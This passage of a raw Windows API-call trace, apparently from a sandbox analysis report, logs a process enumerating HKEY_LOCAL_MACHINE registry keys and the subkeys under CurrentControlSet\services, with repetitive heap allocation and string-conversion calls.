RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.044] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.044] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.044] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0210.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.045] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0210.045] RegCloseKey (hKey=0x80000002) returned 0x0 [0210.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.045] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0210.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.046] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.047] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.047] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.047] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0210.047] RegCloseKey (hKey=0xc4) returned 0x0 [0210.047] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0210.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.048] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.049] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0210.049] RegCloseKey (hKey=0x148) returned 0x0 [0210.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, 